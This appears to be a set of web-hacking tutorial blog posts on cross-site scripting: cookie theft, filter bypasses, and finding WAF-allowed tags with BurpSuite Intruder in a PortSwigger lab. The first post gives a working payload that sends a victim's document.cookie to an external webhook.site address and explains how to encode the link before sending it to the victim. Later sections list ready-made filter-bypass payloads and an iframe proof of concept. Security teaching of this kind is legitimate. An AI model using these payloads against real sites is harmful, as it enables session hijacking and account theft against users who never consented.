WebApp 101

Using Cross Site Scripting (XSS) to Steal Cookies

Encrypt and Anonymize Your Internet Connection for as Little as $3/mo with PIA VPN. Learn More

Disclaimer: This video is intended for Cyber Security professionals and Students who are looking to help others stay safe online.

We can leverage the following website so that we do not need our own webserver. https://webhook.site/

With a webhook in hand, we’re ready to craft our payload. Our payload should look like this. We’ll want to make sure we replace the URL with our generated webhook address.

A simple test can first be created with this:

<img src="[URL]/test.jpg" /> http://[URL]/test.js
<script>
document.write('<img src="[URL]?c='+document.cookie+'" />');
</script>

Once the browser renders the JavaScript the <img tag should look like the following and send the cookies to our website:

<img src="[URL]?c=[COOKIE]"/>

Before sending the link to the victim, make sure you encode the + symbols by replacing them with %2b.

An example payload will look like the following:

http://vulnerable.webapp/index.php?name=<script>document.write('<img src="https://webhook.site/xxx-xxx-xxx/?c='%2bdocument.cookie%2b'" />');</script>


Mitigations

Check out my other posts that discuss how you can protect yourself from these type of attacks.

WebApp 101

Basic Cross Site Scripting (XSS) Bypass Techniques

In some cases, a bit of filtering is involved. The web developer may have added some regular expressions, to prevent simple XSS payloads from working. This post intends to serve as a list of simple bypass techniques to try when attempting to inject XSS payloads.


Tweaking the case of your script tags. Some filters are case sensitive and will not remove the script tag if there are uppercase characters.

Example: <sCript> alert('xss') </sCRIpt>


Placing Script tags within script tags. Some filters do not recursively look through the supplied input to recursively remove script tags.

Example: <sc<script>ript> alert('xss') </scri</script>pt>


Use non script tags, such as an image tag. Some filters do a great job at preventing the use of script tags, but we could use many other tags to deliver payloads.

Example: <img src='zzz.jpg' onerror= alert('xss') ></img>


Using JavaScript’s eval. In some cases, you may be able to insert a script tag, but you’re unable to use a keyword such as “alert”. You can leverage “eval” to concatenate your payload to achieve the same result.

Example: <script>eval("ale" + "rt('xss')")</script>
Note: You may need to replace the plus mark with %2b or it may get treated as a space.


Checking to see if you’re in a script tag already. Sometimes the user supplied input will be directly within a script tag and you won’t need to inject one. You may be able to just view the source code and start talking in Javascript to get malicious.

Example: hacker"; alert('xss'); var $a= "

The above passed input may feed into HTML code that would render as the following: <script> var $a = "hacker"; alert('xss'); var $a= ""; </script>


Hacking Tutorial, Pentesting, WebApp 101

Bypassing XSS Defenses Part 1: Finding Allowed Tags and Attributes

This post intends to serve as a guide for a common bypass technique when you’re up against a web application firewall (WAF). In the event that the WAF limits what tags and attributes are allowed to be passed, we can use BurpSuite’s Intruder functionality to learn which tags are allowed.

Table of Contents:

  • Setting the stage.
  • Identifying which tags are allowed.
  • Identifying which events are allowed.
  • Putting the pieces together.

Setting the stage.

In our example, we have a webapp with a vulnerable search field. To begin testing, we start out with a simple XSS payload that will display the session cookie of the user when it fails to load a bad image path.

<img src=1 onerror=alert(document.cookie)>

However, the webserver responds with an error stating we’re using a tag that isn’t allowed.


Identifying which tags are allowed.

If we’re going to exploit this webapp, we need to first find out what tags are allowed in the search field. To do this, we can leverage BurpSuite’s Intruder functionality to brute force the page with every possible JavaScript tag and see which one(s) respond with a success message.

Let’s spin up BurpSuite and capture a web request with a generic search term.

With our request captured, let’s send this off to Intruder.

To begin, lets Clear the default payload positions BurpSuite selected for us.

Now we will replace the search term with <> to open/close the script tags that we wish to send to the application. Place the cursor between the angle brackets and click Add § twice, to create a payload position. The value of the search term should now look like: <§§>

Now that we have the position set, we need to provide our list of payloads. Head over to PortSwigger’s XSS cheat sheet and click Copy tags to clipboard.

With a list of all tags copied to your clipboard, head back to Intruder and select the Payload tab. Then click Paste.

Everything should now be in place! Let’s click Start Attack and allow time for all of the requests to be made.

Once the attack finishes, we see that the Body tag returns a status code of 200. This indicates that the WAF allows this tag and perhaps we can use it for our exploitation process.


Identifying which events are allowed.

Now that we know we can use the body tag, we need to know which events we can use. We’ll repeat the same process we used above, but this time, we’ll Copy events to clipboard from the PortSwigger’s XSS cheat sheet.

Heading back to Intruder, we’ll start by adjusting our list of Payloads. Click Clear to remove the existing list.

Now we can Paste our list of events.

Let’s head over to the Positions tab and adjust our search term to <body%20=1>. Place your cursor before the equal sign and then click Add § twice to create the payload position. The value of the search term should now look like: <body%20§§=1>

This will cause BurpSuite to send requests to the search field that look like

/?search=<body onactivate=1>
/?search=<body onafterprint=1>
/?search=<body onafterscriptexecute=1>

I’m happy with that. We’ll Start Attack.

Observe the results, and notice that the only payload returning a 200 response is onresize.


Putting the pieces together.

So what do we know? Well, we know that we can use the body tag along with the onresize element. Armed with this knowledge, what would happen if we were to inject JavaScript code that displayed the users session cookie when the window is resized? Could we craft something that automatically resizes the window to trigger this for us?

As an attacker, lets spin up a malicious webpage that includes a reference to the vulnerable webapp within an iframe.

<iframe src="https://your-lab-id.web-security-academy.net/?search="><body onresize=alert(document.cookie)>" onload=this.style.width='100px'>

Let’s break down what we’re doing.

  1. We begin by inserting an iframe to our webpage that will display content from the vulnerable webapp.
  2. We then inject a search query that will generate an alert containing the victim’s session cookie when the element onresize is called within the body tag.
  3. We then force the iframe to resize itself to a width of 100px upon loading.
  4. When the victim browses to our malicious website, this iframe will be loaded in their browser, resized, and then the session cookie will be displayed back to them.

Now this is really just useful as a proof of concept, because this particular example doesn’t provide the attacker with the session cookie. The finished product would look something like this after including HTML encoding.

<iframe src="https://your-lab-id.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=alert(document.cookie)%3E"onload=this.style.width='100px'>


The primary goal for this post was to showcase BurpSuite Intruder’s ability to bruteforce a webserver and identify the attack surface. I hope you found it useful!